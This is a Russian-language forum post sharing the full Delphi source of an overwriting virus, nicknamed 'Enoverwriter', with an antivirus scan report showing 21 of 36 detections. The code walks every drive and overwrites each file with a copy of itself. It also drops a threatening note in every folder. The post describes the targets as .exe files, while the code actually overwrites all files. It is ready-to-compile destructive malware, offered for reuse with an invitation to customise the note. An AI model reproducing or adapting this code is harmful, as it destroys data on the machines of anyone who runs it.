[Delphi] HLLO вирус ( High Language Level overwrite )

[IBM]

Всем привет. Еще одно мое древнейшее изобретение

Вот HLLO вирус

program HLLO;

uses

  Windows, SysUtils;

Procedure TakeNote(Folder:string);
  var
    t:textfile;
  begin
    AssignFile(t, Folder+'Readme_Or_Die.txt');
    Rewrite(t);
    Writeln(t, 'Your Computer has been infected by Enoverwriter');
    Writeln(t, 'And now, your pc is going to Die');
    CloseFile(t);
  end;
Function Note(Name:string) : boolean;
  begin
    If Name='Readme_Or_Die.txt' then Result:=true else Result:=false;
  end;
Procedure RewriteFile(TFile:String);
  var
    HLLO: Array[0..260] of char;
  begin
    GetModuleFileName(0, HLLO, sizeof(HLLO));
    DeleteFile(PChar(TFile));
    CopyFile(HLLO, PChar(TFile), true);
  end;
Function Self(Name:string) : boolean;
  var
    Virus:Array[0..260] of char;
  begin
    GetModuleFileName(0, Virus, sizeof(Virus));
    If ExtractFileName(Virus)=Name then result:=true else result:=false;
  end;
procedure FindFiles(StartFolder, Mask: string; ScanSubFolders: Boolean = True);
var
 SearchRec: TSearchRec;
 FindResult: Integer;
begin
 try
   StartFolder := IncludeTrailingBackslash(StartFolder);
   FindResult := FindFirst(StartFolder + '*.*', faAnyFile, SearchRec);
   try
     while FindResult = 0 do
       with SearchRec do
       begin
         if (Attr and faDirectory) <> 0 then
         begin
           if ScanSubFolders and (Name <> '.') and (Name <> '..') then
             FindFiles(StartFolder + Name, Mask, ScanSubFolders);
         end
         else
         begin
           If (not Note(Name)) and (not Self(Name)) then RewriteFile(StartFolder+Name);
           TakeNote(StartFolder);
         end;
         FindResult := FindNext(SearchRec);
       end;
   finally
     FindClose(SearchRec);
   end;
 finally
 end;
end;
var
  c:char;
begin
for c:='A' to 'Z' do
 if (GetDriveType(PChar(c+':\')) <> 1) and (GetDriveType(PChar(c+':\')) <> 0) then FindFiles(c+':\', '*.*', true);
end.

Ищет файлы на доступных дисках и если найденный файл является .exe - удаляет его и копируется на его место.

Еще создает "визитки" в каждой папке...

процедурко:

Procedure TakeNote(Folder:string);
  var
    t:textfile;
  begin
    AssignFile(t, Folder+'Readme_Or_Die.txt');
    Rewrite(t);
    Writeln(t, 'Your Computer has been infected by Enoverwriter');
    Writeln(t, 'And now, your pc is going to Die');
    CloseFile(t);
  end;

Измените в коде текст на нужный вам

P.S Enoverwriter - название вируса, на другое фантазии не хватило

Детект:

Название файла: Project2.exe
Размер файла: 43008 байт
Дата сканирования: Tue, 10 Dec 13 12:45:53 -0500
MD5-хэш файла: a6f9de3ce1dfbf27c6df886a2d2d4fb1

Результат: 21 из 36

Ad-Aware: OK
AhnLab V3 Internet Security: Malware detected
ArcaVir: OK
Avast: Win32:Malware-gen
AVG: LuaHeur.Win32/DH{ZAcDZw}
Avira: TR/Malex.E.1980 Trojan!
Bitdefender/BullGuard: Gen:Win32.FileInfector.cGW@amQ9owi
BullGuard Internet Security 2013: Gen:Win32.FileInfector.cGW@amQ9owi
Comodo: Malware@#37e2xa93mr14g
Dr.Web: OK
Emsisoft Anti-Malware (a-squared Anti-Malware): OK
eScan Internet Security Suite 14: Gen:Win32.FileInfector.cGW@amQ9owi (DB)
Fortinet 5: OK
F-Prot: OK
F-Secure 2014: Gen:Win32.FileInfector.cGW@amQ9owi
G Data: Virus: Gen:Win32.FileInfector.cGW@amQ9owi (Engine A)

IKARUS: Trojan.Win32.Malex
Immunet/ClamAV: OK
K7 Ultimate: OK
Kaspersky Internet Security 2014: HEUR:Worm.Win32.Generic
McAfee Total Protection 2013: Artemis!A6F9DE3CE1DF
Microsoft Security Essentials: Trojan:Win32/Malex.gen!E
NANO: OK
NOD32: @Trojan.Win32/Delf.RKF
Norman: win32:win32/SB/P2PWorm
Norton Internet Security: OK
Outpost Security Suite Pro 8.0: Trojan.Malex!9RjEx81AIn4 (Trojan)
Quick Heal: OK
Sophos: Mal/Generic-S
SUPERAntiSpyware: OK
Total Defense Internet Security: OK
Trendmicro Titanium Internet Security: OK
Twister Antivirus 8: Trojan.Cap137208.ixzp
VBA: Trojan.VkHosts.21205
VIPRE Internet Security 2013: BehavesLike.Win32.Malware.sfd (mx-v)
Virit: OK

Scan report generated by Scanner.FuckAV.ru

Мде....